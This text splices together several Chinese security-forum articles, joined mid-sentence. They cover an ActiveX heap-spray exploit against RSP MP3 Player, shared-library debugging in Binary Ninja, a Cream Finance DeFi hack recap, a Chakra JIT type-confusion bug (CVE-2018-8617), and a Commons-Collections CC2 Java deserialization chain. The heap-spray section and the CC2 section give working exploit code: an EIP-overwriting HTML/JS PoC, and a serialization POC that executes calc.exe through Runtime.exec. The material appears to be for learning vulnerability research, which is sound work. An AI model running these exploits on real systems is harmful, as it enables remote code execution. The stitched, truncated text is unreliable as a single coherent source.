1ff8 21 - 41ef8 (0.10)
3ff8 d - 33f98 (0.08)
ff8 f - ef88 (0.02)
7f8 18 - bf40 (0.02)
8fc1 1 - 8fc1 (0.01)
7fe0 1 - 7fe0 (0.01)
7fd0 1 - 7fd0 (0.01)
7db4 1 - 7db4 (0.01)
614 14 - 7990 (0.01)
57e0 1 - 57e0 (0.01)
20 208 - 4100 (0.01)
5e4 b - 40cc (0.01)
4e4 c - 3ab0 (0.01)
3980 1 - 3980 (0.01)
我们列出大小为0x7ffe0的块
0:014> !heap -flt s 7ffe0
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03ad0018 fffc 0000 [0b] 03ad0020 7ffe0 - (busy VirtualAlloc)
03bf0018 fffc fffc [0b] 03bf0020 7ffe0 - (busy VirtualAlloc)
03c80018 fffc fffc [0b] 03c80020 7ffe0 - (busy VirtualAlloc)
03d10018 fffc fffc [0b] 03d10020 7ffe0 - (busy VirtualAlloc)
03da0018 fffc fffc [0b] 03da0020 7ffe0 - (busy VirtualAlloc)
03e30018 fffc fffc [0b] 03e30020 7ffe0 - (busy VirtualAlloc)
03ec0018 fffc fffc [0b] 03ec0020 7ffe0 - (busy VirtualAlloc)
03f50018 fffc fffc [0b] 03f50020 7ffe0 - (busy VirtualAlloc)
[...Snip...]
15110018 fffc fffc [0b] 15110020 7ffe0 - (busy VirtualAlloc)
151a0018 fffc fffc [0b] 151a0020 7ffe0 - (busy VirtualAlloc)
15230018 fffc fffc [0b] 15230020 7ffe0 - (busy VirtualAlloc)
152c0018 fffc fffc [0b] 152c0020 7ffe0 - (busy VirtualAlloc)
15350018 fffc fffc [0b] 15350020 7ffe0 - (busy VirtualAlloc)
153e0018 fffc fffc [0b] 153e0020 7ffe0 - (busy VirtualAlloc)
15470018 fffc fffc [0b] 15470020 7ffe0 - (busy VirtualAlloc)
15500018 fffc fffc [0b] 15500020 7ffe0 - (busy VirtualAlloc)
现在你可能会问告诉你自己：”这很酷,
但是有什么意义呢?”。一般上如果我们有写任意4字节漏洞。为了可靠，我们从来不会用shellcode地址直接覆写指针(例如EIP)。在堆喷射中我们可以决定堆布局。我们可以在堆中布置NOP’s+shellcode块。由于某个可预测的地址会指向NOP’s，所以我们可以用这个地址去覆写，一旦程序能执行到NOP’s，shellcode也会得到执行。下面是通常我们使用的可预测地址，在调试器看看这些地址的内容。可预测的地址：
- 0x05050505
- 0x06060606
- 0x07070707
- ....
另外一个具有特殊意义的地址是0x0c0c0c0c，第二部分将会解释。
0:014> d 04040404
04040404 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040414 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040424 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040434 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040444 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040454 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040464 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
04040474 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:014> d 05050505
05050505 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050515 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050525 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050535 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050545 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050555 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050565 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
05050575 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:014> d 06060606
06060606 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060616 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060626 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060636 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060646 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060656 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060666 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
06060676 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
再次重申第一部分只讲典型的堆喷射，精确喷射会在第二部分将。为什么需要精确喷射？
(1) 我们需要处理DEP；
(2) 我们正在利用UAF类漏洞；
所有的准备工作完成，是时候弹shell了。
**
**
**崩溃重现**
下载RSP MP3 Player 并安装。转到rspmp3ocx320sw.ocx文件所在文件夹，执行
regsvr32 rspmp3ocx320sw.ocx
注册ocx控件，你能看到一个弹框说文件已经成功注册。接着下载[
COMRaider](http://bbs.pediy.com/thread-207158.htm)。COMRaider是一个很好用的ActiveX
Fuzzer工具。用这个工具可以轻易得到POC。看看原始的[exploit](http://bbs.pediy.com/thread-207158.htm)可以知道崩溃出现在OpenFile函数。如果我们只Fuzzing这个函数会得到14个异常例子。我没有花时间测试所有的文件，但我怀疑如果你测试完所有的文件会发现大量的可利用的崩溃！
COMRaider
OpenFile
Poor Programming
如果我们看下面这个造成崩溃的文件，可以看到它非常简单，类似于exploit-db那个。
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
'Wscript.echo typename(target)
'for debugging/custom prolog
targetFile = "C:Documents and SettingsAdministratorDesktopRSP MP3 Playerrspmp3ocx320sw.ocx"
prototype = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid = "RSPMP3_320.RSPMP3"
argCount = 1
arg1=String(1044, "A")
target.OpenFile arg1
</script></job></package>
我花费了一点时间把它从vb转为js. 我们可以控制EIP或SEH，但这不是我们关心的。我们想要从堆喷射中选一个可预测的指针覆写EIP。
<html>
<head>
<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
</head>
<body>
<script>
pointer='';
for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
Oops.OpenFile(pointer);
</script>
</body>
</html>
调试结果如下：
eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000
eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010217
rspmp3ocx1+0x2fb7:
03ed2fb7 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:014> g
(87c.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000
eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
06060606 ?? ???
0:014> d 06060606
06060606 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060616 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060626 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060636 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060646 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060656 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060666 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
06060676 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
可以看到EIP被覆盖为0x06060606。(其中一个可预测的指针) 然后执行流就报错了因为我们没有写任何东西在0x06060606。
**Shellcode+游戏结束**
我们首先生成一些可用的shellcode，记得将shellcode编码为javascript小端字节序。
好的，整理下最后的POC。增加一些注释和前面创建的堆喷射。最终的堆喷射脚本如下： | 社区文章 |
原文：<http://hwreblog.com/projects/so_debugging_binary_ninja.html>
通过对嵌入式系统的固件进行动态分析，可以大大提高逆向工程的进度。反汇编程序不仅对于静态分析来说是至关重要的，同时，也可以在动态分析期间发挥巨大的威力。在大多数反汇编程序中，动态分析过程中的调试通常都可以直接完成，但是，当所处理的应用程序跳转到共享库时，这些反汇编程序似乎都没有提供直接的方法来跟踪程序流程。然而，如果能够在反汇编程序中跟踪共享库的跳转情况的话，不仅可以帮助我们更好地理解程序流程，此外，如果有必要的话，还可以帮助修补共享库。为了做到这些，还有一些问题需要解决。首先，在应用程序或进程启动之前，共享库的内存位置是未知的，其次，反汇编程序会把应用程序和共享库视为单独的实例。因此，为了在动态分析过程中通过反汇编程序进行调试，我们需要设法来解决这些问题。下面，我们将为读者将介绍一种借助gdb、[Binary
Ninja](https://binary.ninja/ "Binary
Ninja")、[Voltron](https://github.com/snare/voltron
"Voltron")和[binjatron](https://github.com/snare/binjatron
"binjatron")来动态分析共享库的简单技术，其中，binjatron是一个Binary Ninja插件，用于在动态分析期间进行可视化调试。
**搭建测试环境**
* * *
由于本人的大部分工作都涉及嵌入式系统的逆向分析，因此，这里将重点介绍一种用于远程调试嵌入式系统的方法。为了帮助读者复现这一过程，我们会给出目标端的具体设置过程。但是，这个过程将取决于您在目标上可用的接口情况。就本文来说，我的目标是运行Linux
raspberrypi 4.14.50+的Raspberry Pi系统。我已经通过raspbian
repo安装了gdbserver，我将TCP连接实现与gdbserver的连接。此外，我还在分析计算机上安装了Binary
Ninja、Voltron和binjatron。对于Voltron和binjatron的安装过程，读者可以参考其github页面上的相关说明。
我们的示例程序非常简单：其中涉及一个简单的共享库，可以使用“-fpic
-c”和“-shared”进行编译；还有一个主程序，它会调用共享库中的函数，可以使用库的位置和名称完成相应的编译。下面显示的是编译结果和源代码。
完成编译后，设置LD_LIBRARY_PATH并运行该程序。此外，我还运行了“ldd”命令，验证该程序是否将libfoo作为共享库。
将这些程序拉入Binary Ninja，以验证一切是否如我们所愿。在下图中，我们可以看到，主程序和foo共享库已经加载进Binary
Ninja了，当然，这里是以中级完整性来显示libfoo.so。
到目前为止，看起来一切正常，所以，接下来就可以使用gdbserver host:2345
main命令在目标系统上启动gdbserver了。为了启动连接会话，需要一个能够跨体系结构进行调试的gdb。我之前使用的是“[arm-linux-gnueabihf-gdb](https://www.linaro.org/latest/downloads/ "arm-linux-gnueabihf-gdb")”，在这里似乎也能工作。在gdb中，输入“target remote target-ip：2345”进行连接。
建立连接后，我们可以回到Binary Ninja，并与Voltron会话进行同步。
为了验证同步是否正常工作，我在main设置了一个断点，然后进行跟踪。
使用gdb跟踪该程序时，binjatron将突出显示Binary Ninja中的当前PC，具体如下所示。
继续跟踪，一直到达PLT中的foo()为止，其实，PLT就是用来调用外部函数的。有关这方面的更多信息，请参阅这篇[文章](https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html "文章")。
**定位共享库的内存位置**
* * *
现在，我们已经知道所有内容都能协同工作了，接下来，我们就可以生成进程，并对共享库进行动态分析了。如前所述，如果继续步进跟踪该应用程序，一旦main函数调用了foo()，由于共享库代码不在应用程序的二进制文件中，就无法高亮显示当前指令了。虽然可以单独使用Gdb和voltron进行动态分析，但是，对于带有大量分支语句的大型函数来说，图形化的视图能够帮我们更好地了解代码的执行流程。当然，我们也可以根据gdb/voltron的输出，利用Binary
Ninja以手动方式来跟踪相关的反汇编代码，同时，在一个视图中协同工作的一大优点是，可以提高分析速度。然而，这样做的最大的问题在于，需要让Binary
Ninja中的共享库偏移与应用程序期望的代码位置保持同步。由于这里的地址是偏移值，所以voltron连接无法同步。简单的解决方案是，求出共享库的加载地址的偏移，然后重新同步voltron。为此，首先需要以某种方式获得文件的偏移量。虽然有很多方法可以做到这一点，但在这里，只需在foo()处设置一个断点即可。当然，读者也可以采取其他方式。下面我们可以看到，这个断点给出了一个地址，即0xb6fa6620。
利用Binary
Ninja分析这个共享库，我们发现，保存堆栈进入函数调用时，0x620偏移量位于foo()中。因此，我们可以使用该信息来计算偏移的起始地址，即0xb6fa6620
- 0x620 = 0xb6fa6000。
虽然Binary
Ninja没有直接提供用于重新定义二进制文件的用户界面，但是，我们实际上可以通过一个API调用来解决这个问题。虽然他们没有给出调用示例或相关描述，但[add_auto_segment](https://api.binary.ninja/binaryninja.binaryview-module.html#binaryninja.binaryview.BinaryView.add_auto_segment
"add_auto_segment")的作用好像是从当前选定的文件中复制数据，并提供相应的偏移量。例如，对于add_auto_segment（self，start，length，data_offset，data_length，flags）来说：start是我们的偏移地址0xb6fa6000，length是原始文件长度，data_offset是0，data_length是原始文件长度。此外，如果将0xff传递给flags参数的话，就能够赋予相应的segment以读、写和执行权限。最后一个命令是“bv.add_auto_segment(0xb6fa6000,
0x6a0, 0, 0x6a0, 0xFF)”。下面展示的是在Binary Ninja的python控制台中运行该命令的情况。
在继续进行动态分析之前，需要先在新建的segment中创建相关的函数。为此，在Binary
Ninja线性视图中找到新segment中的函数偏移后，只需按下“p”键即可。这时，Binary
Ninja将分析新创建的函数，并对新segment中的调用进行递归分析。我还没有能够让线性扫描分析模式起作用，但这可能是另一种潜在的替代方案。下面，让我们来比较一下原始foo()与偏移后的foo()。
**那么，接下来干什么呢？**
* * *
我们已经计算好了偏移量，并在偏移处创建了函数，接下来，让我们继续进行动态分析。首先，我们需要停止与Binary
Ninja中的共享库反汇编实例之间的同步，然后，重新进行同步。为此，可以通过右击Binary Ninja，然后选择“Voltron：Stop
Syncing”/“Voltron：Sync”选项来完成。之后，当我们使用gdb进行步进跟踪时，就会像以前一样，开始高亮显示当前指令了。
现在，我们还可以通过Binary Ninja的binjatron插件在共享库中设置断点。
在计算偏移量时，使用Binary
Ninja的python控制台会非常简便。同时，如果拥有一个可以自动执行这些操作的插件的话，能够极大地提高分析人员的工作效率。当我们分析的应用程序的时候，如果它依赖的多个共享库调用都需要进行动态分析的话，本文介绍的方法将会派上大用场。 | 社区文章 |
#### 事件背景
Cream Finance是建立在智能合约基础上的开放普惠的金融体系。通过以方便快捷的方式在线提供消费贷款，是一个利用流动性挖矿的去中心化借贷和交易平台。
北京时间2020年2月13日，Cream Finance官方推特称出现黑客盗币事件，并表示随后会披露漏洞细节。
随后零时科技安全团队立刻对该安全事件进行复盘分析。
#### 事件分析
通过分析此事件，该次攻击由0x905315602ed9a854e325f692ff82f58799beab57合约地址完成，目前该地址已被标记为盗币者地址，并存在多次攻击交易，如图：
主要攻击的6笔交易如下：
1. 攻击者通过杠杆不断借款（每次借款为前一次的两倍），最终获得cySUSD。
<https://cn.etherscan.com/tx/0x7eb2436eedd39c8865fcc1e51ae4a245e89765f4c64a13200c623f676b3912f9>
1. 攻击者继续进行借款并获得cySUSD（和上次交易一样）。
<https://cn.etherscan.com/tx/0x64de824a7aa339ff41b1487194ca634a9ce35a32c65f4e78eb3893cc183532a4>
1. 攻击者借出180万USDC，之后通过Curve.fi将USDC兑换为sUSD，最终获得cySUSD，并继续利用杠杆翻倍借款sUSD。最后偿还闪电贷。
<https://cn.etherscan.com/tx/0x7eb2436eedd39c8865fcc1e51ae4a245e89765f4c64a13200c623f676b3912f9>
1. 攻击者继续借出1000万USDC，通过兑换等操作获取cySUSD，并继续利用杠杆翻倍借款sUSD，最后偿还闪电贷。
<https://cn.etherscan.com/tx/0xd7a91172c3fd09acb75a9447189e1178ae70517698f249b84062681f43f0e26e>
1. 攻击者再次借出1000万USDC，通过兑换等操作获取cySUSD，最后归还闪电贷。（至此攻击者已通过以上交易获取大量的cySUSD资产，目前就可从IronBank借到自己想要的资产）
<https://cn.etherscan.com/tx/0xacec6ddb7db4baa66c0fb6289c25a833d93d2d9eb4fbe9a8d8495e5bfa24ba57>
1. 攻击者利用自己得到的大量cySUSD资产，从Cream.Finance中借出多个数字资产（13244 WETH，3605354 USDC，5647242 USDT，4263138 DAI）,完成攻击获利。
<https://cn.etherscan.com/tx/0x745ddedf268f60ea4a038991d46b33b7a1d4e5a9ff2767cdba2d3af69f43eb1b>
#### 总结
本次盗币是攻击者利用零抵押跨协议贷款的缺陷进行漏洞攻击，通过不断的利用杠杆来增加借款的金额，增加流动性，兑换为cySUDC，并通过多次操作获取大量cySUDC从而最终借出自己想要的资产。
#### 安全建议
DeFi今年确实备受关注，黑客攻击也不断发生，类似Cream Finance这样的项目，包括cream finance，alpha
finance均受到不同程度的黑客攻击。针对频频发生的黑客攻击事件，我们给出的安全建议就是：
在项目上线之前，找专业的第三方安全企业进行全面的安全审计，而且可以找多家进行交叉审计；
可以发布漏洞赏金计划，发送社区白帽子帮助找问题，先于黑客找到漏洞；
加强对项目的安全监测和预警，尽量做到在黑客发动攻击之前发布预警从而保护项目安全。 | 社区文章 |
# Chakra漏洞调试笔记2——OpCode Side Effect
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
（距《Chakra漏洞调试笔记1——ImplicitCall》的发布有一个多月了，期间有一些同学私信我第二篇的更新时间。因为这些case的分析主要是业余时间完成的，也是看一个case学一部分Chakra的源码，所以比较难保证更新速度，不过我还是会坚持把这个坑填完的XD。
另外我最近写了一个IE浏览器的0day的exploit，可以在最新的Win10系统中稳定利用，等微软修复这个漏洞后会公布具体技术细节，感兴趣的同学可以在我的推特@elli0tn0phacker上观看demo。）
## 0x0 DynamicObject
Javascript是一种动态弱类型的脚本语言。Javascript中同一变量可以指向不同数据类型，而一些数据类型的结构也可以被动态修改。但并非所有的数据结构都可以被动态修改，Chakra中存在两种数据类型：static
type和dynamic type。其中static
type是基本数据类型，对应了Javascript中的原始数据类型（Primitive），比如String，Number，Boolean等。static
type不能动态修改属性，以String为例：
而dynamic type可以动态修改属性，比如：
Javascript中Object是一个动态数据类型，Object在Chakra中通过DynamicObject实现，DynamicObject.h中给出了DynamicObject的Memory
Layout:
DynamicObject中比较重要的两个成员变量是auxSlots和inline slots.
那么什么是slots呢？Chakra又是如何通过slots来实现对象属性的访问呢？
我们知道，Javascript的Object是由若干key (property name) -value (property
value)组成的数据结构。一个Object的实现一般需要key,
value等成员变量来保存相应的数据。这样的实现是比较简单的，但是带来的问题就是每个Object的实例化对象都需要相应的Memory
Layout来保存这些key-value。然而同一个Object在属性不被动态修改的前提下Memory
Layout是相同的，key也是一样的，这样的设计无疑增加了内存空间的占用，降低了属性的访问效率。
那么Chakra是如何高效的读写一个类不同对象的不同属性呢？
看这样一个例子：
上面的脚本创建了两个Point对象one和two，属性分别为x和y。Chakra需要在runtime中保存相关信息：
1. Object one和two包含属性x和y
2. Object one属性x的值是10，y的值是20
3. Object two属性x的值是40，y的值是50
通过记录以上信息就可以实现Object属性的访问。可以看到对象one和two保存的(1)的信息是相同的，（2）（3）的信息则因对象的属性值不同而不同。因此Chakra通过建立一个property
map和一个 slots array的对应关系来实现属性的读写功能：
1. property map用来映射属性名（实际上是PropertyId）和slots array的索引，比如属性x存储在slots array的索引 = 0
2. slots array用来存储具体的属性值，比如one->slots[0]=10, one->slots[1]=20, two->slots[0]=40，two->slots[1]=50
Chakra中slots array存放在DynamicObject中（auxSlots或者inline slots），property
map存放在Type中（准确的说是保存在Type的TypeHandler对象中）。当访问one.x时，Chakra通过one->Type->TypeHandler（->TypePath）取得property
map，找到属性x在slots array中的索引为0，然后通过one->slots[0]取得属性x的值10：
观察对象one，two在内存中的布局：
可以看到他们的Type是一样的，TypeHandler也是一样的，他们有同样的property
map。所以通过Type，Chakra可以更加高效地访问对象属性，并降低对象本身的内存占用。
理解了Chakra是如何通过Type和slots实现属性访问后，我们再回到DynamicObject的3种Memory
Layout就比较容易理解了，其中auxSlots存放的是slots array的指针，指向了slots array的首地址，inline
slots则是直接将slots array存放在DynamicObject中。比如：
let o = {a:1, b:2};
o.c = 3;
o.c = 3语句向Object动态添加了新的属性c，Object的Type发生变化，inline slots被auxSlots替代。
## 0x1 JIT Object Check Optimize
在笔记1中笔者简单地介绍了Chakra JIT的过程。考虑如下一段代码片段函数opt被JIT后的结果：
假设第一次opt()后，函数opt被JIT，Lowerer阶段后的dump如下：
可以看到obj.a = 2语句前有两次Bailout机制的类型检查，而obj.b = 1语句则没有进行相关类型检查，直接赋值到inline
slots（obj+0x18）。这里obj.b =
1语句中obj的类型检查被优化了，显然这种优化是合理的，因为刚对obj做过类型检查没有必要再检查一次（obj在当前block还是活跃的）。但是并不是任何情况都会把第二次对象的类型检查优化掉，比如：
如果some statements可能改变Object的Memory Layout，那么第二次对obj的类型检查就不应该被优化掉。
some statements改变Object Memory Layout的方式有多种，笔记1中介绍了通过脚本回调的方式改变Object Memory
Layout，笔记2中会介绍另一种不需要脚本回调的方式：OpCode Side Effect。
## 0x2 Case Study: CVE-2018-8617
这里的some statements为b.push(0)。 根据case的描述可以知道，当向一个有inline
slots的Object添加一个数字属性时，Object的Type会发生改变，从而memory layout也会发生改变，原来保存inline
slots被替换为auxSlots指针。
补丁前Lowerer阶段的dump:
因为ForwardPass阶段在分析a.b =
2语句后，对象a被认为是活跃的，并且补丁前JIT不知道OpCode::InlineArrayPush存在Side
Effect会改变对象a的Type。因此分析a.a =
0x1234语句时会认为对象a已经经过了类型检查，从而直接使用已经保存的对象a的Type来访问属性a，最终直接将常量0x1234写入对象a原来的inline
slots处。
实际上OpCode::InlineArrayPush存在Side Effect：
b.push(0);会调用JavascriptArray::Push，JavascriptArray::Push中如果push的Object不是JavascriptArray则进入EntryPushNonJavascriptArray：
进一步会调用DynamicObject::SetItem，因为当前的DynamicObject没有objectArray属性，会调用DynamicObject::SetObjectArray为DynamicObject添加objectArray属性:
SetObjectArray内部会调用DeoptimizeObjectHeaderInlining() 删除原来DynamicObject的inline
slots:
最终通过DynamicTypeHandler::AdjustSlots将原来保存的inline slots替换为auxSlots指针：
由于JIT不知道obj2.push(0)语句存在side effect，对象a的类型检查被优化，从而auxSlots指针被常量0x1234当作inline
slots覆盖，最终在Interpreter中print(o.a);语句触发auxSlots指针解引用异常：
## 0x3 Patch Analysis
因为漏洞产生的原因是OpCode::InlineArrayPush存在Side Effect，因此通过：
KillObjectHeaderInlinedTypeSyms(this->currentBlock,
false)；删除当前block已经ObjectHeaderInlined的Object的Symbol。具体过程：
KillObjectHeaderInlinedTypeSyms内部调用MapObjectHeaderInlinedTypeSymsUntil：
MapObjectHeaderInlinedTypeSymsUntil内部从当前block的objectTypeSyms中逐一取出Object的Symbol
ID，根据Symbol
ID再从globOptData中取出该Object的Value，如果当前Object的Type是DynamicType并且IsObjectHeaderInlinedTypeHandler()为true，则调用从KillObjectHeaderInlinedTypeSyms传入的函数指针从活跃变量列表中删除该Object的Symbol：
当ForwardPass分析到IR：
s16(s5<s19>[LikelyObject]->a) [CanBeTaggedValue_Int].var! = StFld
0x1000000001234.var #001d
在OptDst时，因为这里是一个Object的属性操作，因此会从活跃变量列表中查找是否存在该Object，如果存在则标记该目标操作数已经经过类型检查，否则需要重新进行类型检查：
补丁后Lowerer阶段的dump:
可以看到这里对对象a生成了两次类型检查，分别是Type和InlineCache，如果发现类型检查失败则调用Op_PatchPutValueNoLocalFastPath重新获取对象属性并更新InlineCache。
## 0x4 Thinking
对于这种OpCode存在Side Effect的情况可以看到微软目前的修复方法是case by
case。观察GlobOpt::ProcessFieldKills函数可以发现有很多类似的Kill情况。实际上GPZ的bug列表中还有一些漏洞原理类似的case，笔者将不再详细说明，感兴趣的同学可以自行分析：
## 0x5 References
1. <http://abchatra.github.io/Type/>
2. <https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Li-Using-the-JIT-Vulnerability-to-Pwning-Microsoft-Edge.pdf>
3. <https://blogs.projectmoon.pw/2018/08/17/Edge-InlineArrayPush-Remote-Code-Execution/>
4. <https://www.anquanke.com/post/id/180551> | 社区文章 |
## 前言
来啰嗦一下CC2，这条链在后面几条链中还会用到，详细的写一下，打好基础。
**环境搭建**
CC2使用的是`javassist`和`PriorityQueue`来构造利用链；
并且使用的是`commons-collections-4.0`版本，而3.1-3.2.1版本中`TransformingComparator`并没有去实现`Serializable`接口，也就是说这是不可以被序列化的，所以CC2不用3.x版本。
* JDK 1.7
* commons-collections-4.0
在`pom.xml`中添加：
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
**利用链**
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
## 利用链1分析
跟着利用链，首先看看`PriorityQueue.readObject()`
这里的`queue[i]`是从`readObject`得到的，再看看`writeObject`；
`writeObject`中依次将`queue[i]`进行序列化，那么我们通过反射实例化PriorityQueue类的对象，给`queue[i]`赋值，就实现了对`queue[i]`的控制。
最后调用了`heapify`方法，跟进：
当`i>=0`时进入for循环，而`i=(size >>> 1) -1`将size进行了右移操作，所以`size>1`才能进入循环。
再跟进`siftDown`方法：
x就是`queue[i]`，跟进`siftDownUsingComparator`方法：
重点在`comparator.compare(x, (E) c)`；
跟进可以看到`Comparator`是一个接口，compare是它的抽象方法；
CC2利用链中`TransformingComparator`类实现了compare方法；
该方法中调用了`this.transformer.transform()`方法，看到这里，就有点熟悉了，`this.transformer`又是我们可控的，后面的理解和CC1差不多了。
## POC1分析
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
queue.add(1);
queue.add(2);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
**代码1**
通过反射获取Runtime对象；
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
**代码2**
当调用ChainedTransformer的transformer方法时，对transformers数组进行回调，从而执行命令；
将transformerChain传入TransformingComparator，从而调用transformer方法；
new一个PriorityQueue对象，传入一个整数参数，且传入的数值不能小于1，再将Tcomparator传入。
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);
**代码3**
前面说到，size的值要大于1，所以向queue中添加两个元素。
queue.add(1);
queue.add(2);
添加上序列化和反序列化代码后，能成功执行命令，但是没有生成序列化文件，也就是没有`cc2.txt`。
调试代码看一看，跟进`PriorityQueue`类，这里comparator参数是我们传入的`Tcomparator`；
继续跟，跟进`queue.add(2)`，调用了`offer`方法；
跟进`offer`方法，进入else分支，调用了`siftUp`方法；
跟进`siftUp`方法，comparator参数不为null，进入if分支，调用`siftUpUsingComparator`方法；
继续跟，来到重点代码；
跟进，这里会执行两次命令；
但是return的值为0，程序就结束了，并没有执行POC后面序列化和反序列化的代码。
那么如何让return不为0呢。
既然调用`siftUpUsingComparator`方法会出错，那试试调用`siftUpComparable`方法，即comparator参数为null，修改代码，不传入comparator参数。
PriorityQueue queue = new PriorityQueue(1);
再调试看看；
这下comparator参数就为null；
照样进入`queue.add(2)`，到`siftUp`方法，就进入else分支，调用`siftUpComparable`方法；
这样就只是单纯给`queue[1]`赋值，并不会调用`compare`方法；
返回后就执行序列化代码，但是并没有执行命令，还要改进；
**代码4**
上面修改后的代码没有调用到`compare`方法，我们可以在向queue中添加元素后，通过反射将`Tcomparator`传入到queue的comparator参数；
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
这样comparator参数就不为null，当反序列化时调用`readObject`方法时就会进入`siftDownUsingComparator`方法，调用`compare`方法，从而执行命令。
**完整POC**
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
